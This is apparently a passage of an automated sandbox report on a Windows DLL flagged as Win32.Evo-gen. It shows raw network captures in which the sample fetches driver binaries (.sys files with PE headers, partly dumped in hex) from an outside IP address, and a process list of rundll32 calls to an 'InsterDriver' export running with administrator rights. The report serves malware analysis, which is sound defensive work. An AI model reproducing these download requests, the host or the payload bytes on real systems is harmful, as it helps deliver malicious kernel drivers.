2d cd 30 ae f6 89 c0 18 fe f9 dd c2 d4 25 5e 06 2d cd 30 ae 61 6d 8d 94 e4 9f 2c 66 27 ee 76 fb eb 2b 57 8e d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae e0 a6 77 5a 25 dd 43 14 d4 25 5e 06 2d cd 30 ae c6 e9 22 29 1e 24 f3 d6 d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae 70 20 53 80 18 99 82 92 a2 94 29 9c a4 98 75 55 11 58 c2 48 d0 a8 48 e2 d4 25 5e 06 2d cd 30 ae 39 2f 76 ae 3e c7 19 73 f6 df 5c 4d 1a 49 d4 af 62 90 de 62 a5 83 db 61 db 43 13 e7 14 07 5a 9f d4 25 5e 06 2d cd 30 ae 22 23 53 5a 54 75 a6 36 3a f3 cb cf fd 80 9f e6 e5 3d aa 2a e6 6a b2 06 7a dd 18 07 32 80 12 ab d4 25 5e 06 2d cd 30 ae 90 6c 51 e8 83 01 ea 1f a3 37 e0 01 75 b1 6c b4 ef fb 4b 28 50 b4 75 80 a9 f4 a7 9f 6e f1 57 72 d4 25 5e 06 2d cd 30 ae 22 23 53 5a 54 75 a6 36 38 f2 14 c5 af ac 59 50 c1 af f6 b9 e5 ae 61 08 04 67 1e 4e e8 ec 57 50 d4 25 5e 06 2d cd 30 ae 05 57 bf 71 70 2f 35 a2 83 0d fd c2 af 81 fc b7 d4 1c 49 51 96 fd 22 59 53 17 48 52 16 9c 97 1e d4 25 5e 06 2d cd 30 ae cd 67 76 b1 d6 16 f2 26 86 94 57 59 2a 71 2f 16 0d 81 0f f4 92 19 46 14 5f d0 df 63 39 01 00 ca d4 25 5e 06 2d cd 30 ae 38 38 70 ed 2b 54 da ee d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae 40 7d 80 39 cd 40 63 26 89 62 b0 65 7b fe ea 3a 05 2b 2f dd 06 0a 2d 1d 6e 77 f6 94 cb 78 ed f6 df e7 db 82 9f 01 db f9 d3 e9 86 fa 5e d2 da 1e 38 9e 86 0c a1 78 5f b7 3a fd d8 8d 14 32 cd 7f a1 ea e5 05 f0 c2 0f 8f 59 24 58 e2 42 09 33 95 96 d2 cd 2d d7 98 6a 09 1e 3d 3e 08 c8 78 c5 85 d7 d1 79 dd bd 82 83 1e 93 62 8b f6 ab 12 79 bd 38 f4 7f 7b 17 e7 a3 8f 32 53 e1 32 67 93 17 b8 06 d3 9b 84 1f 2a 32 23 bb 3c e7 Data Ascii: ?MNlt{yEYc>a/edR6l2%^-0%^-0%^-07s`6KZa84#db\t]h3NsBl%Vn)_1_z9O'Oj\,%{>wrcoN%^-0btL@/;\7<)Oq"tqEFq&bK22\.:WTUg_Hg_HdHnss%^-0;f./%^-0%^-0am,f'v+W%^-0%^-0%^-0wZ%C%^-0")$%^-0%^-0%^-0p S)uUXHH%^-09/v>s\MIbbaCZ%^-0"#SZTu6:=jz2%^-0lQ7ulK(PunWr%^-0"#SZTu68YPagNWP%^-0Wqp/5IQ"YSHR%^-0gv&WYq/F_c9%^-088p+T%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0@}9@c&be{:+/-nwx^8x_:2Y$XB3-j=>xyby8{2S2g2#<
Mar 28, 2024 11:29:03.192642927 CET	92	OUT	GET /xz?mz=PmlHousPro.sys HTTP/1.1 Host: 134.175.236.132:17598 Cache-Control: no-cache
Mar 28, 2024 11:29:03.537646055 CET	1286	IN	HTTP/1.1 200 OK Accept: text/plain, text/html Content-Length: 125232 Connection: keep-alive Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 35 c6 f1 61 54 a8 a2 61 54 a8 a2 61 54 a8 a2 75 3f a9 a3 62 54 a8 a2 61 54 a9 a2 40 54 a8 a2 75 3f ab a3 63 54 a8 a2 75 3f ac a3 62 54 a8 a2 a9 21 ad a3 63 54 a8 a2 a9 21 aa a3 60 54 a8 a2 52 69 63 68 61 54 a8 a2 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 50 27 93 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 1e 00 00 00 0c 00 00 00 00 00 00 00 60 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 01 00 00 00 00 00 00 e0 01 00 00 04 00 00 30 41 02 00 01 00 60 41 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 60 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 20 01 00 00 00 82 01 00 30 67 00 00 00 d0 01 00 2c 00 00 00 b0 30 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 30 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 30 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2a 18 00 00 00 10 00 00 00 1a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 68 2e 72 64 61 74 61 00 00 8c 04 00 00 00 30 00 00 00 06 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 2e 64 61 74 61 00 00 00 28 00 00 00 00 40 00 00 00 02 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c8 2e 70 64 61 74 61 00 00 20 01 00 00 00 50 00 00 00 02 00 00 00 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 49 4e 49 54 00 00 00 00 c0 02 00 00 00 60 00 00 00 04 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 56 53 4b 30 00 00 00 72 52 01 00 00 70 00 00 00 54 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 65 6c 6f 63 00 00 2c 00 00 00 00 d0 01 00 00 02 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e9 de f8 00 00 0f 8d 60 76 00 00 f3 a4 66 0f b3 de 5f f9 fd 66 f7 de 66 d3 f6 5e fc f8 fc f5 9d e9 eb 04 00 00 e9 e3 69 00 00 e9 9b 15 00 00 66 89 45 00 e9 d8 04 00 00 57 e9 b0 71 00 00 e9 00 04 00 00 e9 8d 06 00 00 e9 ba 6c 00 00 0f 80 53 74 00 00 48 83 ed 02 f8 80 fd 1f 38 e0 66 89 45 00 f8 48 39 d6 66 0f ba e6 01 84 de 48 81 ee ff ff ff ff e9 11 6f 00 00 e9 1e 09 00 00 e9 0a 0c 00 00 e9 b6 05 00 00 41 53 e9 e1 12 00 00 66 f7 d0 28 d2 48 8b 45 00 0f 99 c2 80 ca 58 80 f2 b0 8a 55 08 f7 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$%5aTaTaTu?bTaT@Tu?cTu?bT!cT!`TRichaTPEdP'e"`@0A`A`(P 0g,0800.text* h.rdata0@H.data(@$@.pdata P&@HINIT`( `.VSK0rRpT,`h.reloc,@B`vf_ff^ifEWqlStH8fEH9fHoASf(HEXU
Mar 28, 2024 11:29:04.911020994 CET	95	OUT	GET /xz?mz=PmlHousProMax.sys HTTP/1.1 Host: 134.175.236.132:17598 Cache-Control: no-cache
Mar 28, 2024 11:29:05.258914948 CET	1286	IN	HTTP/1.1 200 OK Accept: text/plain, text/html Content-Length: 109632 Connection: keep-alive Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 35 c6 f1 61 54 a8 a2 61 54 a8 a2 61 54 a8 a2 75 3f a9 a3 62 54 a8 a2 61 54 a9 a2 40 54 a8 a2 75 3f ab a3 63 54 a8 a2 75 3f ac a3 62 54 a8 a2 a9 21 ad a3 63 54 a8 a2 a9 21 aa a3 60 54 a8 a2 52 69 63 68 61 54 a8 a2 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 50 27 93 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 1e 00 00 00 0c 00 00 00 00 00 00 00 60 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 01 00 00 00 00 00 00 e0 01 00 00 04 00 00 1f 29 02 00 01 00 60 41 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 60 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 20 01 00 00 00 82 01 00 40 2a 00 00 00 d0 01 00 2c 00 00 00 b0 30 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 30 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 30 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2a 18 00 00 00 10 00 00 00 1a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 68 2e 72 64 61 74 61 00 00 8c 04 00 00 00 30 00 00 00 06 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 2e 64 61 74 61 00 00 00 28 00 00 00 00 40 00 00 00 02 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c8 2e 70 64 61 74 61 00 00 20 01 00 00 00 50 00 00 00 02 00 00 00 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 49 4e 49 54 00 00 00 00 c0 02 00 00 00 60 00 00 00 04 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 56 53 4b 30 00 00 00 72 52 01 00 00 70 00 00 00 54 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 65 6c 6f 63 00 00 2c 00 00 00 00 d0 01 00 00 02 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e9 de f8 00 00 0f 8d 60 76 00 00 f3 a4 66 0f b3 de 5f f9 fd 66 f7 de 66 d3 f6 5e fc f8 fc f5 9d e9 eb 04 00 00 e9 e3 69 00 00 e9 9b 15 00 00 66 89 45 00 e9 d8 04 00 00 57 e9 b0 71 00 00 e9 00 04 00 00 e9 8d 06 00 00 e9 ba 6c 00 00 0f 80 53 74 00 00 48 83 ed 02 f8 80 fd 1f 38 e0 66 89 45 00 f8 48 39 d6 66 0f ba e6 01 84 de 48 81 ee ff ff ff ff e9 11 6f 00 00 e9 1e 09 00 00 e9 0a 0c 00 00 e9 b6 05 00 00 41 53 e9 e1 12 00 00 66 f7 d0 28 d2 48 8b 45 00 0f 99 c2 80 ca 58 80 f2 b0 8a 55 08 f7 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$%5aTaTaTu?bTaT@Tu?cTu?bT!cT!`TRichaTPEdP'e"`@)`A`(P @,0800.text h.rdata0@H.data(@$@.pdata P&@HINIT`( `.VSK0rRpT,`h.reloc,@B`vf_ff^ifEWqlStH8fEH9fHoASf(HEXU

Target ID:	0
Start time:	11:28:53
Start date:	28/03/2024
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll"
Imagebase:	0xb20000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	1
Start time:	11:28:53
Start date:	28/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	11:28:54
Start date:	28/03/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll",#1
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	11:28:54
Start date:	28/03/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll,InsterDriver
Imagebase:	0xc50000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	11:28:54
Start date:	28/03/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll",#1
Imagebase:	0xc50000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	11:28:57
Start date:	28/03/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll",InsterDriver
Imagebase:	0xc50000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true